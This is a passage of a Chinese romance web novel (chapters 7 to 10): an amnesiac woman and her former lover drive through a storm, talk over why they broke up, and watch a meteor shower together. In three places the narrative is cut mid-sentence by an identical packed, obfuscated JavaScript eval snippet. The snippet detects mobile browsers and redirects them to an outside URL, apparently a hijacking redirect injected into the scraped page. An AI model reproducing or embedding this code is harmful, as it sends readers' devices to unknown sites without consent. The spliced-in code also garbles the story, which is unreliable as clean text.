所幸,沈淮棠早已渡过对失忆最焦躁的时刻,强求才难得,何必为了已经过去的事情劳心伤神。 于是在短暂的晃神后,她松开江未的胳膊,独自走上前,蹲下身,指腹一寸寸抚摸过祭台青石上漫长时光留下的斑斓,开始在边沿草地间翻找起什么来。 江未观察片刻,在她身边蹲下来,开始同她一起寻摸。 他挑挑拣拣,选中一颗圆圆胖胖的,问道:“这个石头怎么样?看上去像个马卡龙。”见她没有即刻接过,便明白她没看中,又换了一颗方方的,“这个呢?有没有冻豆腐的样子?” 根据他的反应,沈淮棠推测道:“……看来我以前就有这习惯了。” 江未笑笑,开始玩起朝空中抛石子儿又接住的游戏:“你跟个小猫一样,时不时就威风凛凛地出去打猎,有什么好宝贝全往我店里运,什么漂亮的贝壳,各色的鹅卵石,可以做书签的红枫……” 沈淮棠听着很馋:“你……能不能把我的宝贝还我?” 她这个到处搜搜拣拣的小习惯,同她旅游过的亲人都知道。 一直坚定鼓励式教育的云姨对此保持尊重,而余谨那身洁癖十分令人讨厌,直说她是个小捡破烂的,对此毫无兴趣。 余慈则会抱着膝盖看着她认真挑选,给出一些意见,但本身并不会同她一样有收藏的欲望。 唯有江未会同她一起翻找。 甚至他还知道,她只会选一个,而不是见到喜欢的都要带回家。 “不行。”江未下巴一抬,“送给我了,哪还有要回去的道理?” 沈淮棠满脸惋惜,只能妥协:“好吧。” 想不明白,捡回来的宝贝不应该堆自己家里吗,怎么堆他店里去了? 最终,她精选出一个奇形怪状的石头。 一半圆滑,似是被风光雨露细致打磨,连颗粒感都令她爱不释手。 而另一半应该是才从母体巨石上割裂掉落不久,峥嵘初显,指腹抚摸过的每一寸都坚硬而尖锐,又不至于将皮肤割破。 她将石头攥在手心,就是它了。 雨又渐渐下大,在祭坛上溅起一片片珍珠般微弱的光芒。往回走的路上,沈淮棠仍牢牢扒着江未的胳膊,他尽量配合她的速度前行。 沉思许久,沈淮棠冷不丁问:“我们在一起多久了?” 面对她突如其来的提问,江未下意识地回答道:“一年。” 她又问:“发展到哪一步了?” 这问题有些难回答。 江未抿唇,故作迟疑般压低声音,听上去甚至有些伤感:“当然是……” 他意有所指地微微停顿,而后猛地扬起眉毛,眼里璀璨的光如同能照亮整个旷野的闪电,声音也是明亮而得意,“当然是发展到,你说非我不嫁的地步了。” 7. 孤岛 江未那神气十足的模样,简直像是在吹嘘此生最大壮举。 沈淮棠瞥他一眼,知道他不会说真话了,便也就此作罢,懒得搭理这沾沾自喜的花孔雀,径自迈步往回走。 他追在她身后不满地喋喋不休:“你不信?看不上我呀?我多有性价比啊,长得好看,还有点小钱,想要嫁给我是人之常情,你要不要再考虑考虑……” 夜间温度降低,两人将车内座位放倒作平面,放上防潮睡袋,而后穿着保暖的衣服钻进去,又裹上厚毯子,伴随着车载暖气,就这么凑合一晚上。 次日清晨,沈淮棠醒来后发现江未不在车内,外面传来隐隐的说话声,似乎又是工作的电话。 她仰面躺着,一时不想起身,窗外的雨短暂停了,可头顶还是乌云密布,天空昏昏默默,坏天气仍然持续。 难道真的白跑一趟? 观星容易,流星雨却难得。 也不知是她运气不行,还是江未倒霉。 沈淮棠想着,不免觉得有些可惜,心里轻轻叹口气。 江未结束通话回到车上,眉头微微皱起,却在见到她已经醒来后又露出笑脸:“睡得如何?” “就那样吧。”她懒散地歪头,海藻般的长发从枕头水泄似的流淌而下,“怎么,又有突发情况?” “云端——就是余谨他们公司,老对头了,尽给我使绊子。”江未眯起眼睛哼道,“是不是余谨干的?他看不惯我跟你出来玩儿,净是给我找事儿。” 沈淮棠失笑:“他还没有那么无聊吧?” “那谁知道?这人瞧着端整,指不定肚子里憋着什么坏呢。”江未对余谨的不爽毫不遮掩,理直气壮地造谣,“说不定他就趁着你我都不在鹤城的时候,偷偷去浇死我公司里的发财树。” 沈淮棠被逗乐,终于清醒:“好好好,防火防盗防余谨。” 说笑间,他们就着蒙蒙小雨再次上路,五个小时后,终于抵达目的地余光镇。 入住镇中心的客栈后,沈淮棠先是痛痛快快洗了个热水澡,将满身的雨水潮气与漫长车程的疲惫冲洗干净,而后一头栽倒在柔软的大床上开始补觉。 下午她被饿醒,肚子抗议得很大声,草草收拾过后,江未正好来敲她的房门,拉着她去镇上的当地菜馆,两人这才正经吃上一顿热饭热菜。 吃饱喝足,沈淮棠又开始拿着手机研究起天气与计划来。 淋漓不尽的大暴雨极大程度拖慢了他们的行程,途中不少景点也关门谢客,在这种恶劣天气中,别说冒雨游玩,连下车都有安全隐患。 然而,他们只有七天游玩时间,时间并不充裕,且路途遥远,原计划第四天抵达最佳观星点布含山谷,已经是在赶流星雨的尾巴。 余光镇原本是计划中第二晚夜宿之地,然而现在已经是第三天下午了。 如果现在即刻启程,或许能够在明天下午赶到布含山谷,这还是最理想的情况。 沈淮棠一心想着抓紧时间,但在回客栈退房时,老板顺嘴问一句:“你们这么着急忙慌,是要去布含山谷吗?” 他叼着烟摇摇头,收了他们的房卡,挥挥手道,“我劝你们缓缓,就算你们能赶上流星雨,可这天气实在不好说,乌云太厚了,估计一晚上啥也看不着。” 这话一说,沈淮棠当即有明显的迟疑,虽说已有心理准备,可到这一刻,气氛仍是凝重得让人不敢呼吸。 “老板,除了布含山谷,还有没有其他推荐的观星点?”她露出一个清浅的笑,像是冰川融雪,“我们难得来一回,还是想碰碰运气,要实在看不着,也没办法了。” 客栈老板理解地点点头,思索片刻:“倒确实是有另一个山谷,并不是景点,也就是本地人偶尔会去。” 他打开地图,指着路线说,“看到没有,布含山谷在这儿,绕过这座山,就能到罗屋山谷,其实距离不太远,但要再次经过暴雨区。” 沈淮棠颔首:“开过去要多久?” 老板瞟一眼他们停在外面的越野车,估算后说道:“天气允许的情况下,你们抄抄近道,十五六个小时应该就能到。” 说罢,他有些不放心,“下雨就不好说,你们还是得注意安全,如果遇到危险,及时掉头,或者呼救,明白吗?” 时间上仍然紧张,沈淮棠转眸看向江未,递过去询问的眼神:“你是想试试看,还是说,我们就在余光镇转转,然后打道回府?” “当然要试试。”江未似是洞悉了她的想法,毫不犹豫地说出那句经典台词,“来都来了,怎么能白跑一趟?” 他们将越野加满油,补充药品与食物,沈淮棠坐上驾驶座,握住方向盘,启动车辆,发动机的轰鸣声夹杂在雨声中,车轮碾压过泥泞的路面,溅起无数砂砾。 然而,当他们真的出发,却发现这边的天气情况比预想要更艰难得多。明明还是下午,却看不到一丝蓝天,阴沉似夜。 两人轮换着开车,一刻不停地赶往目的地,气氛却沉寂不已,车内沉寂,在客栈内还信誓旦旦的两个人,早已被重压压得说不出话。 密密匝匝的雨幕笼罩大地,周围皆是一层灰蒙蒙的纱幕,周围的景色模糊不清。风声呼啸,将雨水卷起,拂过车窗,带来冰冷的寒意。 江未看着挡风玻璃上的雨滴,低声说:“开始下冰雨了。” 雨水落地成冰,敲击声很是刺耳。 此时的温度已经很低,哪怕车窗紧闭,车载暖气也开到最大,寒风仍能透过缝隙一点点灌入车内。 沈淮棠身上裹着厚厚的外套与毛毯,仍是打着寒颤,不停地搓着已经冻得刺骨僵硬的手,呼吸间,空气凝结白雾。 突然间,车底传来砰的一声! 越野车颠簸两下,随即失去平衡。 江未赶紧踩住刹车,车身一阵剧烈摇晃后,稳定下来。 竟然爆胎了。 沈淮棠与他对视一眼,相对无言。 这时候,车窗外完全是另一个世界,伸手不见五指,风声凄厉,雨水如利刃。 车灯穿透着暴雨,形成一条模糊的光束,只能照亮前方不远处的道路。 现在,并不是下车换胎的好时机。 她拿出手机,却发现通讯设备也失去信号,无法呼叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850590|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救援。 这一下,他们彻彻底底成为了荒郊野岭中的一座孤岛。 在暴风雨的轰鸣声中,时间仿佛变得无比缓慢,度秒如年。 江未缓缓地将车开到路边停下。 熬人的黑暗里,沈淮棠沉沉叹一口气,只觉得这场永无止境的暴风雨已经蔓延进她的身体里。 乌云堵在喉间胸口,尖锐的冰雨横冲直撞,剐蹭出无数细微的痛意。 沈淮棠伏低身子捂着脸,肩膀剧烈地颤抖着,江未以为她哭了,手忙脚乱地伸手去安抚她:“没事,等雨小点我就去换车胎……” 结果她抬起头来,露出一张淡漠的死气沉沉的面容,没有眼泪,唇角却带着诡异的微笑。 江未当即都不敢碰她了。 人在极度无语的时候,是会笑的。 “对不起,我搞砸了。”她仍然保持着那惊悚的笑容,很有种平静的癫感。 自以为做好万全准备,自以为能有破局之机,自以为能有超绝好运气,才导致他们沦落这步田地—— 能见度极低的天气里,旷野公路边,车辆爆胎,电子信号全无,孤绝得如同汪洋中不知何时便会翻落的一叶扁舟。 说句难听的话,他们要是死在这里,可能一周都不会有人发现。 一阵令人尴尬的沉默后,江未竟然偏过头,难以自持地笑出了声。 沈淮棠盯着他逐渐笑得肩膀一耸一耸,片刻后,也被感染得干笑两声,最后竟然是两人莫名其妙地笑成一团。 “太离谱了。”江未笑得眼角带泪,桃花眼闪闪烁烁,“我十八岁都没有做过这么莽撞的事情,事实证明,冲动真的是魔鬼。” “谁不是呢?”沈淮棠也笑得没力气,“别人总说我理智冷静,经此一役,英名尽毁,太倒霉了啊。” 不知从何而来的冲动,让两个靠谱成年人在匪夷所思的路途上横冲直撞,终于体会到淋漓尽致的低眉倒运。 高反的症状不知不觉间卷土重来,沈淮棠的脑袋突突的疼,眼皮沉重,连胃部都翻腾灼烧起来。 她忍了又忍,再次为这次令人哭笑不得的旅途而感到无奈与赧然。 江未察觉到她身体不适,再次给她接上氧气设备,多围一条毯子:“反正也走不了,趁着这时候好好休息吧,等雨小点,我们再做打算。” 沈淮棠顺从闭眼,昏昏沉沉。 就算加了毯子,冷意仍从车外不断渗透,一点点夺走她的体温,然而此时她的精神实在过于倦怠,不知何时竟真的睡着了。 她陷入一个短暂的梦境。 梦中与当下的环境天差地别,没有冷雨,没有旷野,她在一座绿意盎然的小岛上,怀着期盼的心情爬上一座废弃灯塔,然后开始漫长的等待。 直到灿烂的太阳落下,深蓝的天幕缀满星辰,而后出现缤纷的流星雨。 那是一幅极其绚烂的画卷。 可她独自孤独坐着,久久地凝视远方,直到流星雨结束,黑夜散尽,海平线泛起天光,她都没有等到想见的人。 二十岁的沈淮棠,或许还不知道,她再也等不到他了。 8. 分手的原因 失落的终点是某种仿似坠落的空虚。 沈淮棠惊得猛地睁眼,骤然从梦境中抽离,大口呼吸,半晌才缓过神来。 她揉揉眼睛,坐起身来,驾驶座上没有人。车窗玻璃上结的霜花已经越来越厚,外面的雨不知何时已经变小。 为了保暖,沈淮棠本就穿了羽绒与冲锋衣,此时又戴上毛线帽,用厚围巾在脖子上裹了两圈,遮住口鼻,最后披上雨衣,整个人全副武装地像是一只企鹅。 她打开车门,摇摇晃晃地跳下去。 江未从后备箱处拿工具箱,开始拆卸备胎,听见声响这才望过来:“醒了?我正想去叫你,准备换车胎,你最好还是别在车上。” 沈淮棠舒展手臂伸了个大大的懒腰,问道:“你没睡吗?” “没有,两个人都睡着,容易失温,或者二氧化碳中毒,我还是保持清醒比较放心。”江未蹲下,举起手电,仔细观察爆裂的车胎。 她走至他旁边,朝他伸手:“我来帮你举着吧。” 他将电筒递过去,打量一眼,见她眼神里仍透着三两分茫然,显然是人在这里,魂还在神游天外,便笑说:“还没睡醒呢?” 沈淮棠没回答,缓缓转眸看向他的侧脸,没头没脑地问:“五年前,我约你去灯塔见面,也是去看流星雨?” 江未未想到她竟会突然问这个问题,愣一瞬才颔首:“是啊。” “你之前为什么不说?”她微微侧头,继续问他,“你在试探我?” 江未闻言,与她对上视线,见她面上似是真心不解,半晌才露出一个轻巧的笑容,算是默认:“这有什么关系,你也在试探我啊。” 双方显而易见都没憋好屁,相处间用成年人信手拈来的虚与委蛇糊弄过去,倒是正常。 沈淮棠点点头,算是接受这个说法,随即又问:“所以,那天你为什么没有来?” 江未见她眼神认真,轻叹口气,知道绕不过,干脆耐心解释道:“上次我也说过了,那天我根本没在梦港岛,而且也给你发过信息,说赶不上回去的飞机,让你别等我。” 沈淮棠疑惑道:“那我怎么还去了?” “我怎么知道?”江未无奈,“后来再有你的消息,就是你让我别再找你了。” 说到这里,他沉默片刻,旷野上风戽呼啸的声音充斥耳畔。 沈淮棠还是想不明白:“我为什么要分手?就因为你爽约?” “我还想问你呢!”江未一肚子委屈无处安放,故作凶神恶煞地谴责她,“哪里知道你什么都忘了?真有够气人。” 据江未所说,那段时间他的父母意外去世,他回国与哥哥一同操持葬礼。父母皆去,家中无人,哥哥只得与他商量,让他回国帮他。 犹豫之际,连沈淮棠也说该是如此。 沈淮棠难以置信:“我怎么会是这种人?” “回去做小江总”听上去确实像一条普世意义上更正确,或是理性务实的选择,但绝不会是她会做的选择。 否则她如今怎会开着不怎么赚钱的独立书店,而不是进入跳板更高的职场拼杀? 江未转脸看来,眼眸里有一股奇异的凝亮:“许多人骂我是私生子,你不知道?” 沈淮棠莫名其妙地说:“那不是谣言吗?我看你跟你哥长得挺像的。” 他曾经的事情,现在的她当然是一概不知。那些乱七八糟的信息,也不过是网络上猜忌的传闻。 再者,他的事情,当然要他本人来说。 江未听罢,算是得到满意的答复,于是用三言两语概括事情的始末——父母商业联姻,协议结束后便和平离婚,哥哥跟妈妈,江未跟爸爸。 不过,亲爸实在不靠谱,虽然在经济条件上从未亏待过他,其他事项方面却也没管过他,完全是放养的状态。 奶奶看不下去,干脆接他来身边抚养。 然而,他只能说,亲爸的不靠谱有迹可循,奶奶是个养尊处优的艺术家,带着小孩四处云游采风,见天的寻不着影儿。 好在祖孙俩关系极好,最后也是江未给老太太送终。 而他的父母,虽然离婚,商务上也没有断了往来,又有共同抚养栽培的孩子,一直都保持着较为密切的联系,连出意外时都在一起。 直到葬礼时,有许多不明就里的人才知道,原来江家还有个小儿子。 江未自觉与祖母才是亲人,很是看不惯那一家三口,心中多少有些埋怨,自然在葬礼后想早早溜掉,恋人竟在这种时候劝他回去做小江总,怎能叫人不多想。 然而,他不过第一次也是最后一次的爽约,就造成了这般严重的后果——跑断腿,也再无她的踪迹。 他只能回头应了哥哥的请求。 似乎只有这样,他才能有更大的能量,去找到她。 “这件事和分手也没有必然联系。”沈淮棠撑着腮帮子,“现在异地恋很正常吧?试都没试就分手,不太像咱俩的风格。” “还有一个原因,当然,这只是我的猜测,真正的理由,只有你自己知道。” 这一回,江未迟疑许久才开口说,“阿棠,你应该知道的,那三年你在梦港岛的疗养院,到底是在治什么病……我们在一起的那一年里,你常说生病只会耽误我,总想要找机会与我断掉。” “或许,这只是你终于找到的机会。” 沈淮棠陷入漫长的沉默。 由于没有记忆,有些细节难以抓住,这让她很难受,只能不断地思索反推他话中的逻辑或漏洞。 “所以,生病是主要原因,劝你回家是次要原因,你爽约是导火索。” 虽然牵强,整体而言倒是说得通,而且现实生活远比文艺作品要不讲道理。 因为病情分手,正常。 因为吵架分手,正常。 因为爽约分手,正常。 然而,她还是觉得哪里不对。 沈淮棠没说话,兀自思索。 直到江未将车胎换好,她才恍若回神,现在最重要的事情还是赶路。 “我来开车吧,你歇会儿。”她重新坐上驾驶座,启动车辆。 车辆在泥泞的道路疾驰,溅起一片片泥浆,雨水打在玻璃上清脆的声响,似乎已经成为他们此行关不掉的背景音乐。 “有信号了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850591|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”江未垂头看着手机屏幕,声音温和,“坚持一下,我们已经经过最险要的路段,再过几个小时,就能完全穿过暴雨区了。” 方才他们之间的谈话并不算顺利。 而且,在沈淮棠得知因为病情要分手之后,就没有再说过几句话。 江未时不时朝驾驶座的方向瞟一眼,她正全神贯注地开车,一如既往地没什么表情,很难看出她是否有情绪了。 “干嘛总是偷看我?”沈淮棠注意到频频望过来的视线,学着他之前的语气说,“看一次五块钱。” 江未半秒钟都没有犹豫:“我办年卡有没有打折优惠?” “想得美。”她冷酷地哼了一声,“年卡费用翻倍。” 江未咋舌:“你这么做生意?” 她笑:“有问题吗?你就说办不办吧?” “办办办,多少钱都办。”江未见她还有闲情开玩笑,放下心来,转身在背包里掏零食,“饿不饿?要吃牛肉干,还是吐司条?糖和蛋糕要不要?” 沈淮棠选了风干牛肉,江未撕开一长条,小心翼翼地往她嘴里塞。 她嘴巴一动一动,最后一口叼住了江未的手指,狠狠地咬了他一口。 “嘶——松松松!”江未吃痛地倒吸一口冷气,将手指抽回来,瞧着手指上的牙印龇牙咧嘴,“好心没好报,你属狗的吗?” “该你的。”沈淮棠嚼着牛肉,唇边泛起笑容,“谁让你爽约?” 她说的是之前灯塔观星的事情。 江未微微愣住,凝视片刻她的侧颜,忽而垂眸苦笑:“是该我的,你把我的手咬烂都行。” 他的语气非常认真,似是深思熟虑后觉得这条路可行,只要能够让她撒气,或者仅仅是让她高兴。 沈淮棠反而想到,怪道江未一直对她的态度谨小慎微,以前她是病人,指不定做过什么过激的事情,让他难以招架。 意外的是,他似乎并不当她是累赘。 果然,江未在沉吟片刻后,还是开口问道:“你现在……病怎么样了?复发过吗?” “偶尔,但并不影响生活。”沈淮棠说,“或者说,从五年前醒来开始,我就像是个精神完全健康的人。” 因此在拿到病历后,她有些讶异。 自己当年竟然是因为重度抑郁而导致失语症,甚至产生幻觉与人格解体等症状。 而因为母亲常年的精神分裂,医生认为有必要长期观察,她有这些症状,到底是遗传,还是癔症性精神病——即在受到严重的精神创伤之后突然起病,症状像精神分裂,但实际上并不是。 失忆至今,她因头部创伤仍然需要去医院复诊,却不再有类似精神分裂的临床症状,于是,医生判断是后者。 沈淮棠尽量简单地解释其中问题,就在这个时候,他们眼前忽然明亮起来,前方的视野逐渐开阔。 几乎就是一瞬间的事情,似越野车冲出了沼泽,来到一片无边无际的宽旷地。 尽管乌云还在头顶不肯离去,可相比之下,他们已经能在云层的缝隙间看到片段的蓝天,兜兜转转蜿蜒至更远的天边。 雨停了。 9. 午夜探戈 蓝天白云似乎有永恒的魔力。 沈淮棠的目光在触及到那一片清澈的颜色后,当即松了口气。 他们的选择和坚持都没有白费,只要离开雨区,看到流星雨的机会就大一点。 她情不自禁地弯弯唇角,跌落谷底后升起的小小希望,似乎将无限趋于平稳的心绪点燃,她再次体味到梦中满心的期待。 只不过,这一次她并非期待某个人,而是真心实意地想要看一场流星雨。 似乎已经越过最难的一道坎儿,接下来的路程都较为顺利,顺利得甚至有些让人提心吊胆。 车辆从旷野蜿蜒至群山之间,眼见着地势从小有起伏到庞然大物似的拔地而起,终于拐进雪山的另一面。 抵达罗屋山谷时只比预计时间晚了半个小时,此时已经是夜晚临近九点。 雨后的山谷笼罩着薄雾,沉浸在宁静中,时光仿若静止。山峦环绕仿似将这片土地守护在怀抱,茂密的树林随风一动,涛声阵阵,朝着更远处的山峰流去。 江未将车停稳,沈淮棠开门下车,绕着附近环视一圈,确认一切都没问题后,悬着的心才勉强放下。 两人终于有了出门游玩的兴致,从后备箱翻找出一直没用上的露营装备,她摩拳擦掌道:“饿死了,冷天就得吃些热乎乎的汤汤水水。” 他们放好小巧的桌椅与便携的锅碗瓢盆,沈淮棠生了火,架上小锅开始煮面条,江未则摆弄烤架,然后拿出昨日在余光镇买好的冻肉片,开始烤肉。 这食物组合实在不伦不类,但此时气温仍然很低,寒风吹过时,他们冻得双手僵硬通红,甚至难以自持地哆嗦起来。 可越是这种时候,两个人缩着脖子挤在一起吃面条,热汤落肚,真是连心脏都滚烫起来。 紧接着,再用水淋淋的剩菜包住一块烤得焦酥的烤肉,蘸着咸鲜的酱汁,一口包进嘴里,实在香得很。 “我们以前也常常这样吃饭。”江未忽然笑起来,“在外面呆久了,就会想念家里的味道……幸好涮火锅不太需要超凡厨艺,否则我可怎么活啊?” 沈淮棠吹吹烫嘴的面条,闻言也笑:“你真是把难吃说得清新脱俗。” “我做得再难吃,比起那些……也能算是仙品了。”江未回忆起难以描述的吃食,情不自禁皱皱眉,真心实意地说,“打小儿我就跟着奶奶东奔西跑,什么都吃,能让我觉得难吃,真的已经到致命的程度了。” 在沈淮棠心中,江未的标签再次更新。 ——什么都吃,那应该很好养。上一个她见过什么都吃的是云姨家的小狗儿。 夜幕降临,静谧的氛围愈发浓郁,天空中仍有卷尾的乌云翩然而过。 他们靠在椅背上,一人抱着小半个蜜瓜,没带刀,只用铁勺舀着吃,一边遥望天边,陷入沉默。 这沉默并不压迫人,反而带着朋友之间熟悉后丝丝入扣的惬意。 沈淮棠凝视天边,喃喃道:“能不能看到流星雨啊?希望我们运气好点。” 江未笑她:“是谁之前自信满满?” “年轻不懂事,已经被制裁过了。”沈淮棠双手十指相扣,闭上眼睛作虔诚许愿状,“大自然里没有坏天气,风霜雨雪皆有道理,自然之神,请保佑我们一定能看到流星雨。” 江未学着她的模样,也一本正经地说:“如果没看到流星雨,那一定是沈淮棠心不诚。” 沈淮棠直接抬脚踹过去,被他敏捷一躲而过,笑嘻嘻地做了个鬼脸,起身绕回车上,不知从哪里掏出个瓶子,炫耀似的朝她晃晃。 她眯起眼:“那是一瓶酒?” 他看看包装:“金秋酒,据说是这边的特产呢,我就跟客栈老板买了一瓶,据说果香很重,连醒酒都省了。” 她哈哈大笑:“我们现在条件很严苛,只有一次性纸杯可以斟酒。” “纸杯怎么了,能喝就行了。”他倒是不甚在意,利落地开酒,“凑合吧,今晚不管怎样都和谐。” 这话倒是,烧烤面条配蜜瓜都吃了,还怕什么纸杯喝酒。 偌大山谷中唯有他们亮起的一星灯光,幽暗之中他们握杯轻碰,垂眸抿酒,带着醇厚果香的液体灌入身体,清凉后带起一串灼烧的烫意。 沈淮棠惬意地喟叹一声,眯着眼睛,像一只餍足的小猫咪。 重压后放松的时刻,江未也多喝两三杯,未久也酒酣耳热,清俊的面容染着一层薄雾似的桃花红,更衬得那双桃花眼波光粼粼。 微醺之际,他竟笑得更多,倾身而来仔细瞧着沈淮棠,许久才轻声说:“其实我根本没有多期待这场流星雨。” “不必安慰我,我没那么脆弱。”沈淮棠斜睨他一眼,“我一开始也没想那么多,你喜欢,那就来,仅此而已。” 她想想又说,“只不过,这一路上遇到的事情,强行给这趟旅程赋予了意义,反而让我开始期待这一场流星雨了。” 江未笑着摇摇头:“不是安慰你。” 他的声音平静而温柔,停顿片刻,“我只是想跟你一起来这里而已。” 蓦然间,沈淮棠听懂他的言下之意。 他只是想赴一场五年前的约。哪怕彼此都已经知道,这已经太迟了。 如今已经物是人非,甚至她已经忘却前尘,他们之间仿似新识。 可他还是向来,和她一起来,看一看这场不确定是否会落下的流星雨。 然而,沈淮棠无法回应。 她只能回避那缱绻而眷恋的眼神。 想要靠近他,可理智上却告诉自己,怎能不明不白地继续? 一时间,她有些茫然,重新将视线投向天空,却发现意外之喜:“你看,乌云好像要散了。” 江未顺着她的目光看去,果然那深色的云朵正在被风慢慢吹散,露出绸缎似的天幕,蔓延无边,缀着疏星点点,似是钻石流淌成银色的丝带。 就在这时,一条璀璨的流星划过天际,留下一道明亮的光迹。 沈淮棠情不自禁站起身来,眼睛微微睁大:“没看错吧?我们等到流星了?” 紧接着,夜空中飞过的星芒回应了她的疑问,每一颗流星都像是闪耀的钻石,瞬间穿越宇宙的黑暗,划破寂静的夜空。 光轨各异,有的如闪电劈落,短暂明亮,有的则是轻盈地缓缓飘落,轨迹交错相织,照亮整个天穹。 得偿所愿原来是这种感觉。 之前的压力终于在这一刻一扫而空,沈淮棠的心情忽然就雀跃起来,转眸去看江未,他果然也被这一幕震撼住,长久凝视遥远的深空,墨色的瞳孔里映照出天边如同烟火般壮丽的景色。 察觉到她的视线,江未垂眸,未言先笑:“阿棠,你终于笑了。” “我一直在笑好不好?”沈淮棠眯眯眼,“怎么被你说的我一路上都板着脸?” “都没有现在真心实意。”他靠近些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850592|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仔细端详她的脸,“瞧瞧,眼神都变了。” 距离过近,连呼吸都相闻,沈淮棠有一刹的心慌意乱,江未实在太懂得怎样利用美貌去诱惑她—— 她仰头避开他的眼神,伸手推开他的面容,假模假样地抿一口金秋酒。 江未感受到她手指的冰凉,当即握住,用手心为她暖一暖:“都冻僵了。” “坐着不动是很冷。”沈淮棠紧了紧身上披着的毯子,“再看看就回车里去吧。” 江未思索片刻,竟回身打开车门,用车载音响开始播放音乐。 小提琴拉长一个悠扬的调子,他踩着星光走至她面前,微微欠身,只伸出一只手,作邀请状。 他凝视她的眼睛,挑了挑眉。 沈淮棠有些讶异,摇摇头说:“可我不会跳舞。” “试试嘛,跟着拍子随便跳就好。”他微微笑道,“探戈无所谓错步,没有关系。” 听他这么说,她便试探着将手放进江未的手心。他轻扶着她的腰,动作缓慢而轻柔地带着她很快适应节奏。 探戈像是一场双人的拉锯战。 她方退后,江未便拉着她的手腕,一个巧力将她拽入怀中,她的额头轻触他的下颌,手心却抵在他的胸口。 至亲至疏,欲拒还迎。 她抬眸与他交流一个心照不宣的眼神,再次拉开缠绵悱恻的距离,留下一个清浅的笑。 在喘息的间隙,她分心地想,今夜发生的一切事情,简直是一场奇迹。 沈淮棠品出一丝难以言明的疯狂。 他们竟然跨越千万里,在无人之境的流星雨幕下,和她梦中出现过无数次的男人,跳一段乱七八糟只为尽兴的探戈—— 没有金色大厅,没有华丽的鱼尾裙,也没有高档的红酒。 他们被磋磨得落魄而脏乱,山谷间凌厉的大风将她的长发吹散,大笑的时候有寒冷的空气灌入喉管。 然而,他的手却是暖的,胸膛是暖的,怀抱也是暖的,稳稳地抱住她的每一个轻盈的旋转绽放。 婉转的音乐在风中飘荡,他们身姿翩翩,舞步自由。 沈淮棠若即若离地撩拨,江未亦沉得住气,优雅纵容她的玩闹后,又情不自禁收紧肩膀。 这是心里带着秘密的游戏。 然而,江未在某一瞬间终于凝滞不动,似主动认输,竟停下舞步,俯下身子,用力地抱住了她。 他高大的身躯将沈淮棠紧紧地拢在怀中,似是要将她融进骨血。 沈淮棠微微一愣,隔着衣料感受他的沉重的心跳,下意识伸手,抚在他的脊骨。 他没有说话,只这般长久地抱着她。 夜风吹过,刺骨寒凉。 沈淮棠便也没有吭声,自觉这样便能给他一些安慰。 她想,她不明白。 又或许应该明白。 江未说,他们曾经是恋人。 可相识至今,他从未倾吐过一次不告而别后所经受的漫长的焦虑与痛苦,也没有同她回忆过当年无望寻找时的坎坷。 那些负担,他从未放在她身上。 江未理解她的顾虑与疏离,因此也尽己所能地,去扮相成初相识的模样,冲淡久别重逢的酸涩,只为让她感到轻松。 他已经做得很好了。 那可是整整八年,三年用来相识相知,五年用来遗忘。 她才是那个没有烦恼的幸运儿。 10. 日照金山 沈淮棠靠在江未的肩头,再次看向遥远的天边,流星仍在不停滑落,给高山起伏的边缘镀上一层银色的光晕。 她感觉他在温柔地抚摸她披散在后背的长发,落在耳边的声音也轻轻的:“阿棠,谢谢你。” 沈淮棠抬头看他波光粼粼的眼。他的指腹浅浅地落在她脸上,眷眷抚过,似是捧着无上珍宝。 两人之间的距离已然近得能感受到彼此的呼吸,可到最后,他也只是克制而温和地将她被风吹乱的额发挽至耳后。 “抱歉。”他松开这个拥抱,露出一个平静而疲惫的笑。 沈淮棠分寸感极强,并不对此有任何评断。她没有恢复记忆,若是一反常态地主动安慰,倒像是在可怜他,也违背本心。 可她也不忍心无动于衷,片刻后,只伸手捏捏他垂落的指尖:“我们坐一会儿,把流星看完吧。” 他们爬上越野车的车顶,一个盘腿,一个坐在边缘晃荡着双腿,又开始喝金秋酒吃蜜瓜。 只享受当下,倒有另一番惬意。 暧昧的气氛略有留存,却被强行按住,尽量不去想。 醉意染上江未的脖颈脸颊,他仍然聊着趣事,就算提起曾经,说的也大多是平淡琐事。 例如,在他的印象中,沈淮棠就是一个无敌睡神。 虽然他知道那是药效副作用,可亲眼看着她平日里在他店里偷闲时,或是在教堂长椅上听礼拜赞歌时,以及在沙滩边晒夕阳时,总能不知不觉迷迷糊糊就睡过去……还是小有震撼。 沈淮棠对此保持怀疑,按照他们所描绘的她曾经的性格,很是严谨警惕,怎会如此没有防备心? 江未想想说:“你那时跟我说,只要在自家床上睡,就会噩梦缠身,这或许是一种创伤后遗症。” 